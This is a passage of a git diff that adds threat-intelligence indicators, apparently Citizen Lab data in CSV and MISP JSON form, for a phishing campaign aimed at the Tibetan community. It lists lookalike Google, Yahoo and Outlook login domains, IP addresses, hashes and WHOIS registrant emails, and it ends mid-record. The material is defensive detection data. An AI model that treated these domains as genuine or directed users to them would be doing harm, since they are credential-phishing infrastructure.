activity,domain,"drive-mail-google.cf","",1,20180116 +587fa322-f124-4da4-b7dc-07298e96ca05,57,Network activity,domain,"myaccounts-google.tk","",1,20180116 +587fa322-fb10-4ec5-8f06-07298e96ca05,57,Network activity,domain,"https-drive-accounts-goog1e.cf","",1,20180116 +58828772-0390-4cbb-a763-0bbb8e96ca05,57,Network activity,domain,"accounts-google.gq","",1,20180116 +58828772-4ec0-4888-a537-0bbb8e96ca05,57,Network activity,domain,"yahoo-secure.tk","",1,20180116 +58828772-5bd0-410b-87bf-0bbb8e96ca05,57,Network activity,domain,"mail-google-com.gq","",1,20180116 +58828772-5f6c-4ee7-adb7-0bbb8e96ca05,57,Network activity,domain,"yahoo-noreply.tk","",1,20180116 +58828772-603c-4ccc-ab02-0bbb8e96ca05,57,Network activity,domain,"google-authorize.gq","",1,20180116 +58828772-b108-4592-a9e2-0bbb8e96ca05,57,Network activity,domain,"files-mail-google.ml","",1,20180116 +58828772-cac4-4aff-a5cc-0bbb8e96ca05,57,Network activity,domain,"google-settings.ml","",1,20180116 +58828772-d120-4619-b0a2-0bbb8e96ca05,57,Network activity,domain,"mail-mg16-yahoo.cf","",1,20180116 +58828ebd-afe8-46f2-9782-07298e96ca05,57,Network activity,domain,"gmail-retry.tk","",1,20170120 +58828ebd-e824-48c2-888e-07298e96ca05,57,Network activity,domain,"mail-163.tk","",1,20170120 +58828ebd-ef30-4937-b5f0-07298e96ca05,57,Network activity,domain,"gmail-secure.tk","",1,20170120 +588a5521-f080-4aad-93b1-0bbb8e96ca05,57,Network activity,domain,"accounts-google.cc","",1,20180116 +5893a06c-4bd4-4112-97a8-0bbb8e96ca05,57,Network activity,domain,"httpsdocs-google.info","",1,20180116 +58b44b3a-c44c-4104-9ec1-53938e96ca05,57,Network activity,domain,"yahoo-verification.us","",1,20180116 +58b83e4a-9e80-4357-b4ef-53928e96ca05,57,Network activity,domain,"drive-mail.us","",1,20170302 +58b84631-6960-41b3-b7a4-53938e96ca05,57,Network activity,domain,"docs-mail-google.us","",1,20170302 +58b98d25-6d24-4081-abae-53928e96ca05,57,Network activity,domain,"login-live.us","",1,20170303 +58c2ce5b-4d04-488d-a6c5-53938e96ca05,57,Network activity,domain,"drive-mail.info","",1,20170310 +58c676e9-d594-4dcc-8daf-53928e96ca05,57,Network activity,domain,"gooog1e.com","",1,20170313 +58c67caf-8e54-40a7-be8a-53928e96ca05,57,Network activity,domain,"drive-goog1e.com","",1,20170313 +58c91f4c-dfe8-4639-9ded-53938e96ca05,57,Network activity,domain,"mydrive-mail.asia","",1,20170315 +58dbfa91-0c20-4d50-83d8-53938e96ca05,57,Network activity,domain,"accounts-gooog1e.info","",1,20180116 +58dbfa91-d540-4a8b-a255-53938e96ca05,57,Network activity,domain,"mail-secret.info","",1,20180116 +58dbfabb-3344-4411-ba5c-53938e96ca05,57,Network activity,domain,"myaccounts-mail.com","",1,20180116 +58dbfada-dd70-4742-8b09-53928e96ca05,57,Network activity,domain,"yahoo-edit.us","",1,20180116 +58dd97e8-44dc-4bc3-ad48-53938e96ca05,57,Network activity,domain,"outlook-login.com","",1,20170330 +58dd97e8-ed28-4f49-811e-53938e96ca05,57,Network activity,domain,"account-gooogle.info","",1,20170330 +58e2afc8-fb0c-40f7-9da1-53928e96ca05,57,Network activity,domain,"accounts-mail.space","",1,20170403 +58e7b5c8-64c0-43cf-a8fd-53928e96ca05,57,Network activity,domain,"accounts-goog1e.info","",1,20170407 +58e7b5c8-9a60-4396-b42c-53928e96ca05,57,Network activity,domain,"cc-mail-secret.com","",1,20170407 +58e7b5c8-f7f8-49f8-9246-53928e96ca05,57,Network activity,domain,"drive-mail.online","",1,20170407 +58eba748-0438-4514-bd1f-53938e96ca05,57,Network activity,domain,"webmail-dalailama.com","",1,20170410 +58eba748-1028-4648-a69f-53938e96ca05,57,Network activity,domain,"myaccounts-gooog1e.space","",1,20170410 +58eba748-88cc-4103-b1f4-53938e96ca05,57,Network activity,domain,"accounts-gooog1e.space","",1,20170410 +58ee49a7-7740-4766-9547-5d828e96ca05,57,Network activity,domain,"mail-aol.space","",1,20170412 +58ee4d32-1f88-411b-bbe5-5d828e96ca05,57,Network activity,domain,"mail-epochtimes.space","",1,20170412 +58ee553c-4c6c-4fa6-8c2f-5d828e96ca05,57,Network activity,domain,"accounts-email.space","",1,20170412 +58efbb0f-19b4-4a87-8f27-5d828e96ca05,57,Network activity,domain,"files-mail.space","",1,20170413 +58f90cf2-98f0-4a03-a482-53928e96ca05,57,Network activity,domain,"mail-gooog1e.info","",1,20170420 +58f9103e-e3a0-419f-80b8-5d828e96ca05,57,Network activity,domain,"mail-protect.space","",1,20170420 +58fe51b3-ae50-45a7-ab7f-53928e96ca05,57,Network activity,domain,"email-163.space","",1,20170424 +58fe5290-6718-4a5b-9ec2-5d828e96ca05,57,Network activity,domain,"drive-gooog1e.space","",1,20170424 +58fe5c42-db88-4f68-a450-5d828e96ca05,57,Network activity,domain,"mail-attachment-usercontent.space","",1,20170424 +5907849c-97a4-4d52-aca1-5d828e96ca05,57,Network activity,domain,"drlve-gooog1e.com","",1,20170501 +59078a5c-50a0-44b8-be71-53928e96ca05,57,Network activity,domain,"mail-youxinpai.com","",1,20170501 +590cd842-783c-4e0d-9d45-53928e96ca05,57,Network activity,domain,"accounts-gooog1e.asia","",1,20170505 +590cd918-792c-4c08-a3f7-53928e96ca05,57,Network activity,domain,"accounts-gooog1e.online","",1,20170505 +590cdccf-e228-4406-84c2-5d828e96ca05,57,Network activity,domain,"mail-guazi.space","",1,20170505 +590cdff8-7884-467e-88d4-53938e96ca05,57,Network activity,domain,"mail-sina.space","",1,20170505 +590ce0f7-43d0-4e1e-9c10-53938e96ca05,57,Network activity,domain,"winupdate.space","",1,20170505 +590ce20b-83b4-4cba-9dc7-53938e96ca05,57,Network activity,domain,"ymail-settings.space","",1,20170505 +59109412-5e18-4f66-be68-53928e96ca05,57,Network activity,domain,"mail-modular.space","",1,20170508 +5910c536-b214-46e2-9385-5d828e96ca05,57,Network activity,domain,"login-live.space","",1,20170508 +5910c63a-bc38-4957-b1f0-5d828e96ca05,57,Network activity,domain,"logln-yahoo.com","",1,20170508 +5910cb7b-bf90-463b-aba2-5d828e96ca05,57,Network activity,domain,"webmail-mpt.space","",1,20170508 +59123c8a-948c-4abd-b79b-5d828e96ca05,57,Network activity,domain,"wengiguowengui.space","",1,20170509 +5919cd19-cb28-413f-9b83-53928e96ca05,57,Network activity,domain,"mail-defense.space","",1,20170515 +591e040b-ce60-45df-ba1e-5d828e96ca05,57,Network activity,domain,"files-gooog1e.space","",1,20170518 +591e0d44-e8b8-4c0e-a959-5d828e96ca05,57,Network activity,domain,"mail-extend.space","",1,20170518 +59272a06-6768-4f85-b5f9-5d828e96ca05,57,Network activity,domain,"mail-platform.space","",1,20170525 +592c726a-2c78-4466-8ed6-53938e96ca05,57,Network activity,domain,"mail-info.space","",1,20170529 +592c7284-ab6c-4d44-9ff1-53938e96ca05,57,Network activity,domain,"drive-goo.space","",1,20170529 +59304dd8-2f88-45ab-8a63-5d828e96ca05,57,Network activity,domain,"webmail-dalailama.space","",1,20170601 +5935b5e6-6838-4e13-8e4a-53928e96ca05,57,Network activity,domain,"xin-corp.space","",1,20170605 +5935b5e6-e930-41fe-9c27-53928e96ca05,57,Network activity,domain,"mail-defend.space","",1,20170605 +59396b77-2f9c-40dd-938c-53938e96ca05,57,Network activity,domain,"edit-ymail.space","",1,20170608 +59396b77-c09c-4765-aac8-53938e96ca05,57,Network activity,domain,"appinstall-mail.space","",1,20170608 +593ee83f-77c8-4e61-8dc0-53928e96ca05,57,Network activity,domain,"myaccounts-gooog1e.com","",1,20170612 +59511af6-6c28-42aa-b561-06b28e96ca05,57,Network activity,domain,"accounts-mailbox.space","",1,20170626 +595120ce-76a0-4dc0-852e-06b38e96ca05,57,Network activity,domain,"mail-defense.tk","",1,20170626 +595d4924-1ce8-45be-b051-06e38e96ca05,57,Network activity,domain,"myapp-gooog1e.com","",1,20180116 +595d4924-e9ec-4caa-be6f-06e38e96ca05,57,Network activity,domain,"email-netvigator.info","",1,20180116 +595dc225-f7b0-4818-a102-06e38e96ca05,57,Network activity,domain,"mail-dsi-go.space","",1,20170706 +595dc260-a7f4-4875-b35b-06e28e96ca05,57,Network activity,domain,"mail-continue.space","",1,20170706 +595dc260-e70c-4de7-aac2-06e28e96ca05,57,Network activity,domain,"mail-package.space","",1,20170706 +5a15eb13-28c8-45b7-934a-5f708e96ca05,57,Network activity,domain,"drive-accounts-google.ga","",1,20171122 +5a15eb13-336c-4698-bda5-5f708e96ca05,57,Network activity,domain,"drive-google.ml","",1,20171122 +5a15eb13-5758-40af-b0d2-5f708e96ca05,57,Network activity,domain,"accounts-google.co.in","",1,20171122 +5a15eb13-7070-44b6-a867-5f708e96ca05,57,Network activity,domain,"gmail-relation.tk","",1,20171122 +5a15eb13-7720-47c6-8c44-5f708e96ca05,57,Network activity,domain,"docs-mail.space","",1,20171122 +5a15eb13-82fc-4c1c-b200-5f708e96ca05,57,Network activity,domain,"drive-google.cf","",1,20171122 +5a15eb13-8b7c-47c4-9bca-5f708e96ca05,57,Network activity,domain,"dalailama.space","",1,20171122 +5a15eb13-a0ac-44d1-97d8-5f708e96ca05,57,Network activity,domain,"drive-google.me","",1,20171122 +5a15eb13-d054-4b3d-8577-5f708e96ca05,57,Network activity,domain,"drive-google.space","",1,20171122 +5a15eb13-eb0c-48d0-a98d-5f708e96ca05,57,Network activity,domain,"epochtimes.space","",1,20171122 +5a15eb13-ef74-4ea4-9173-5f708e96ca05,57,Network activity,domain,"drive-google.gq","",1,20171122 +5a15eb14-0558-4518-ac84-5f708e96ca05,57,Network activity,domain,"google-sign.tk","",1,20171122 +5a15eb14-1170-4c82-a6d3-5f708e96ca05,57,Network activity,domain,"https-google-drive.ml","",1,20171122 +5a15eb14-1884-4430-8e51-5f708e96ca05,57,Network activity,domain,"https-my-accounts-google.gq","",1,20171122 +5a15eb14-314c-4df1-a63c-5f708e96ca05,57,Network activity,domain,"gmail-ssl.tk","",1,20171122 +5a15eb14-595c-4990-a1e2-5f708e96ca05,57,Network activity,domain,"httpsdrive-myaccounts-google.cf","",1,20171122 +5a15eb14-5bd8-4238-ae27-5f708e96ca05,57,Network activity,domain,"myaccounts-google.space","",1,20171122 +5a15eb14-755c-4d9e-9a18-5f708e96ca05,57,Network activity,domain,"mail-status.com","",1,20171122 +5a15eb14-7acc-436d-a895-5f708e96ca05,57,Network activity,domain,"tibet-office.net","",1,20171122 +5a15eb14-853c-4a10-a97f-5f708e96ca05,57,Network activity,domain,"httpsdrive-google.gq","",1,20171122 +5a15eb14-9ebc-4d27-89de-5f708e96ca05,57,Network activity,domain,"my-office.cf","",1,20171122 +5a15eb14-9ed0-4a34-ae55-5f708e96ca05,57,Network activity,domain,"google-issue.tk","",1,20171122 +5a15eb14-9f00-4534-a69f-5f708e96ca05,57,Network activity,domain,"yahoo-device.tk","",1,20171122 +5a15eb14-a634-40f6-9cc0-5f708e96ca05,57,Network activity,domain,"mydrive-google.space","",1,20171122 +5a15eb14-b000-4b12-af5f-5f708e96ca05,57,Network activity,domain,"mail-secret.online","",1,20171122 +5a15eb14-b3ec-4060-a321-5f708e96ca05,57,Network activity,domain,"httpsaccounts-google.cf","",1,20171122 +5a15eb14-c00c-4bab-83dc-5f708e96ca05,57,Network activity,domain,"mail-guazi.com","",1,20171122 +5a5e58ea-2fe8-495b-89d6-06de8e96ca05,57,Network activity,domain,"phpinfo.pw","",1,20180116 +5a5e59b5-adf0-4031-80bb-06de8e96ca05,57,Network activity,ip-dst,"45.63.0.49","",1,20180116 +5a5e59b5-c328-49e9-9334-06de8e96ca05,57,Network activity,ip-dst,"115.126.39.107","",1,20180116 +5a5e59b5-fc40-4c1d-8e76-06de8e96ca05,57,Network activity,ip-dst,"104.207.132.165","",1,20180116 +5a5e6617-3c34-41c1-9a1d-09238e96ca05,57,Network activity,domain,"www.drive-mail.us","",1,20180116 +5a5e6617-6b6c-4c4e-8981-09238e96ca05,57,Network activity,domain,"accounts.gooog1e.com","",1,20180116 +5a5e6617-8fb0-45a7-b730-09238e96ca05,57,Network activity,domain,"www.google-sign.tk","",1,20180116 +5a5e6617-9444-4079-ad77-09238e96ca05,57,Network activity,domain,"drive.postmailsecret.com","",1,20180116 +5a5e6617-9f1c-4e58-add8-09238e96ca05,57,Network activity,domain,"www.gmail-profile.com","",1,20180116 +5a5e6617-b918-45a8-a427-09238e96ca05,57,Network activity,domain,"webmail.postmailsecret.com","",1,20180116 +5a5e6617-c6e4-4925-b6ef-09238e96ca05,57,Network activity,domain,"www.yahoo-verification.us","",1,20180116 +5a5e6617-cab0-4c5c-b2d3-09238e96ca05,57,Network activity,domain,"www.drive-mail.online","",1,20180116 +5a5e6617-de24-4be4-989c-09238e96ca05,57,Network activity,domain,"www.drive-mail.info","",1,20180116 +5a5e6617-ed6c-4dc4-9ef0-09238e96ca05,57,Network activity,domain,"www.login-live.us","",1,20180116 +5a5e6618-0500-41e5-b930-09238e96ca05,57,Network activity,domain,"webmail.dalailama.space","",1,20180116 +5a5e6618-3184-4bb3-8947-09238e96ca05,57,Network activity,domain,"www.drlve-gooog1e.com","",1,20180116 +5a5e6618-37a8-4ec6-88ca-09238e96ca05,57,Network activity,domain,"drive.accounts-gooog1e.online","",1,20180116 +5a5e6618-545c-4112-8d51-09238e96ca05,57,Network activity,domain,"https.drive-google.gq","",1,20180116 +5a5e6618-7c7c-4624-8a90-09238e96ca05,57,Network activity,domain,"drive.gooog1e.com","",1,20180116 +5a5e6618-8c7c-4664-9f5a-09238e96ca05,57,Network activity,domain,"myaccount-mail.com","",1,20180116 +5a5e6618-baa4-404c-842e-09238e96ca05,57,Network activity,domain,"www.mail-attachment-usercontent.space","",1,20180116 +5a5e6618-be5c-43ac-9491-09238e96ca05,57,Network activity,domain,"drive.myaccount-mail.com","",1,20180116 +5a5e6618-e1f8-4f65-b342-09238e96ca05,57,Network activity,domain,"www.mail-protect.space","",1,20180116 +5a5e6618-e678-425a-bb9f-09238e96ca05,57,Network activity,domain,"drive.mail-status.com","",1,20180116 diff --git a/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/indicators.json b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/indicators.json new file mode 100644 index 0000000..268666a --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/indicators.json @@ -0,0 +1,4240 @@ +{"response":[{ + "Event": { + "id": "57", + "orgc_id": "2", + "org_id": "2", + "date": "2016-12-08", + "threat_level_id": "2", + "info": "Spying on a Budget: Inside a Phishing Operation Targeting the Tibetan Community", + "published": true, + "uuid": "584942e2-93e0-4626-ad82-0bbb8e96ca05", + "attribute_count": "210", + "analysis": "1", + "timestamp": "1516138455", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1516138485", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "17923", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a5e5a1c-a8c4-46ff-a05d-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132892", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "0963bee29e797ea7481be5f18f354029", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17924", + "type": "sha1", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a5e5a2e-56e4-470b-81ab-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132910", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "2ab43fc90a1928684b8590375643da52285b8625", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17925", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a5e5a36-8794-40c1-8259-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132918", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "f5967a8f3db4f4f33e89976e39914fceff46401bd2243b29162e1ddeb61f8dd3", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17926", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5b10-e044-472f-8835-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133136", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "deepcliff@sina.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17927", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5b26-6a78-436a-94a7-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133158", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "liang007@outlook.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17928", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5b53-0674-48b2-832d-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133203", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "directoriaffairs@outlook.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17929", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5b62-f8a0-4b4c-b538-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133218", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "leungguodong@outlook.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17930", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5b7c-3644-4d50-8705-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133244", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "zhuchangzi@outlook.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17931", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5bdd-90b0-487e-9c6f-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133341", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "uglybeeking@hotmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17932", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5bdd-9c1c-442e-8380-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133341", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "styloveyou@163.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17933", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5bdd-dd78-44b0-9462-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133341", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "evalliang@163.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17934", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5bdd-9d24-45f0-9bf5-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133341", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pangchokpa@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17935", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5a5e5bdd-0a64-4079-b69d-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516133341", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "6060841@qq.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15616", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-3004-4276-9bde-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138297", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-drive-google.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15617", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-323c-4ba6-8fd6-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mydrive-accounts-google.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15618", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-fb10-4ec5-8f06-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-drive-accounts-goog1e.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15619", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-d7c0-431d-935e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-drive.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15620", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-34fc-4f71-a8ba-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https-drive-google.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15621", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-970c-4966-abc9-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-accounts-goog1e.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15622", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-c2c8-4f33-89b8-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsmydrive-accounts-goog1e.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15623", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-e5d0-40eb-bbc4-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive-accounts-google.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15624", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-2b9c-4091-89e8-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138451", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsgoogle-drive.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15625", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-7ae4-4613-b3d5-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "httpsaccounts-google.ga", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15626", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-b494-40f5-844b-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-goog1e.in", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15627", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-d4e0-46cf-b549-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "microsoft-inc.us", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15628", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-1618-4702-9a3e-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "goog1e.space", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15629", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "587fa322-5e3c-415c-96c9-07298e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-secret.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15630", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-b108-4592-a9e2-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "files-mail-google.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15631", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-603c-4ccc-ab02-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-authorize.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15632", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-0390-4cbb-a763-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "accounts-google.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16144", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "593ee83f-77c8-4e61-8dc0-53928e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1497294911", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccounts-gooog1e.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17936", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-9f1c-4e58-add8-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.gmail-profile.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15633", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-cac4-4aff-a5cc-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google-settings.ml", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17937", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-8fb0-45a7-b730-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.google-sign.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17938", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-9444-4079-ad77-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive.postmailsecret.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15635", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-5bd0-410b-87bf-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138452", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-google-com.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17939", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-cab0-4c5c-b2d3-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.drive-mail.online", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17940", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-b918-45a8-a427-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webmail.postmailsecret.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15637", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58828772-d120-4619-b0a2-0bbb8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516138453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-mg16-yahoo.cf", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17941", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a5e6617-c6e4-4925-b6ef-09238e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516135959", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": 